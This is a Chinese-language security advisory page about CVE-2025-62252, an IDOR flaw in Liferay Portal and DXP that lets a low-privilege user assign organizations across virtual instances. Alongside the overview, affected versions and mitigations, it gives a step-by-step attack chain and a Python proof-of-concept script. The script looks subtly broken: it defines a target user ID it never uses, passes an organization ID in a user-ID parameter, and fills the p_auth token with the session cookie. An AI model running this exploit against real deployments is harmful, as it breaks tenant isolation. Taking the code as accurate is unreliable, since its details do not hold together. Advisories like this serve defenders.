IPBUF安全漏洞报告
English
CVE-2025-62252 CVSS 4.3 中危

CVE-2025-62252 Liferay Portal/DXP IDOR漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-62252
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Liferay Portal 和 Liferay DXP

相关标签

IDOR不安全的直接对象引用LiferayLiferay PortalLiferay DXP多租户权限绕过跨虚拟实例中危漏洞CVE-2025-62252

漏洞概述

CVE-2025-62252是Liferay Portal和Liferay DXP产品中存在的一个不安全的直接对象引用(IDOR)漏洞。该漏洞影响Liferay Portal 7.4.0至7.4.3.111版本及更早的不受支持版本,以及Liferay DXP 2023.Q4.0至2023.Q4.5、2023.Q3.1至2023.Q3.10、7.4 GA至update 92及更早的不受支持版本。该漏洞的CVSS评分为4.3,属于中危级别。在多租户虚拟实例环境中,远程经过身份验证的低权限用户可以通过操纵`_com_liferay_users_admin_web_portlet_UsersAdminPortlet_addUserIds`参数,将一个虚拟实例中的组织分配给另一个虚拟实例中的用户,从而绕过虚拟实例间的隔离机制。此漏洞由[email protected]报告,Liferay官方已发布相应的安全补丁进行修复。由于该漏洞利用复杂度低且无需用户交互,攻击者只需拥有有效的低权限账户即可发起攻击,对多租户环境的数据隔离和完整性构成威胁。LPortal的多虚拟实例架构通常用于服务提供商(SaaS)环境或大型企业部署中,不同实例之间的数据隔离至关重要。该漏洞破坏了这种隔离性,攻击者可以将跨实例的组织关联到目标用户,可能导致权限提升、信息泄露或业务逻辑绕过等安全问题。

技术细节

该漏洞的根源在于Liferay Portal的用户管理Portlet(UsersAdminPortlet)在处理用户与组织关联操作时,未对传入的`_com_liferay_users_admin_web_portlet_UsersAdminPortlet_addUserIds`参数进行充分的跨虚拟实例权限验证。具体而言,当用户通过UsersAdminPortlet的addUserIds接口将用户分配到某个组织时,系统未校验目标组织是否属于当前用户所在的虚拟实例(Virtual Instance),导致攻击者可以通过构造恶意请求,将其他虚拟实例中的组织ID作为参数传入,从而实现跨实例的组织分配操作。

利用方式如下:
1. 攻击者首先需要拥有Liferay Portal中某个虚拟实例的低权限账户;
2. 通过正常接口获取目标用户ID和跨虚拟实例的组织ID;
3. 构造包含恶意addUserIds参数的HTTP请求,提交到UsersAdminPortlet;
4. 由于后端缺少虚拟实例范围的权限校验,攻击者成功将其他实例的组织分配给目标用户;
5. 攻击完成后,目标用户被关联到非预期的组织,可能获得额外的权限或访问权限。

该漏洞属于典型的IDOR(Insecure Direct Object Reference)类型,违反了多租户环境中数据隔离的基本安全原则。修复方案是在后端对所有跨实体引用进行虚拟实例范围的权限校验,确保用户只能操作其所属虚拟实例内的资源。

攻击链分析

STEP 1
步骤1:获取账户
攻击者获取Liferay Portal某个虚拟实例中的低权限用户账户凭据,可以通过社会工程、凭证泄露或其他方式获得。
STEP 2
步骤2:信息收集
攻击者通过正常接口枚举目标虚拟实例中的组织ID,以及需要被分配组织的用户ID。
STEP 3
步骤3:构造恶意请求
攻击者构造包含跨虚拟实例组织ID的HTTP请求,通过_users_admin_web_portlet_UsersAdminPortlet_addUserIds参数提交。
STEP 4
步骤4:绕过权限校验
由于后端缺少虚拟实例范围的权限校验,攻击者的请求被正常处理,跨实例的组织被成功分配。
STEP 5
步骤5:权限提升或数据访问
目标用户被关联到非预期虚拟实例的组织后,攻击者可能通过该组织获得额外的权限或访问其他实例的资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62252 - Liferay Portal/DXP IDOR Vulnerability PoC # This PoC demonstrates how an authenticated user in one virtual instance # can assign an organization from a different virtual instance to a user. import requests # Target Liferay Portal instance TARGET_URL = "https://target-liferay-instance.com" # Attacker credentials (low-privilege user in Virtual Instance A) ATTACKER_USER = "attacker_user" ATTACKER_PASS = "attacker_password" # Target user ID in Virtual Instance A TARGET_USER_ID = "12345" # Organization ID from Virtual Instance B (different virtual instance) CROSS_INSTANCE_ORG_ID = "67890" # Step 1: Authenticate as the attacker session = requests.Session() login_url = f"{TARGET_URL}/c/portal/login" login_data = { "_com_liferay_login_web_portlet_LoginPortlet_login": ATTACKER_USER, "_com_liferay_login_web_portlet_LoginPortlet_password": ATTACKER_PASS, } session.post(login_url, data=login_data) # Step 2: Exploit the IDOR vulnerability via UsersAdminPortlet # The vulnerable parameter is _com_liferay_users_admin_web_portlet_UsersAdminPortlet_addUserIds exploit_url = f"{TARGET_URL}/group/control_panel/manage?p_p_id=com_liferay_users_admin_web_portlet_UsersAdminPortlet&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view" # Craft the malicious request with cross-virtual-instance organization ID exploit_params = { "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_addUserIds": CROSS_INSTANCE_ORG_ID, "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_cmd": "updateOrganizations", "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_redirect": "", "p_auth": session.cookies.get("JSESSIONID", ""), } # Step 3: Send the exploit request response = session.post(exploit_url, data=exploit_params) if response.status_code == 200: print("[+] IDOR exploit successful - Cross-instance organization assigned!") else: print(f"[-] Exploit failed with status code: {response.status_code}")

影响范围

Liferay Portal >= 7.4.0, < 7.4.3.112
Liferay Portal 旧版不受支持版本
Liferay DXP >= 2023.Q4.0, < 2023.Q4.6
Liferay DXP >= 2023.Q3.1, < 2023.Q3.11
Liferay DXP 7.4 GA ~ update 92
Liferay DXP 旧版不受支持版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制UsersAdminPortlet的访问权限,仅允许管理员角色的用户访问;2)在网络层面实施访问控制,限制跨虚拟实例的API调用;3)监控和审计所有涉及跨实例组织分配的操作日志,及时发现异常行为;4)使用Web应用防火墙(WAF)规则过滤异常的addUserIds参数请求;5)确保所有虚拟实例间的操作都经过严格的身份验证和授权检查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表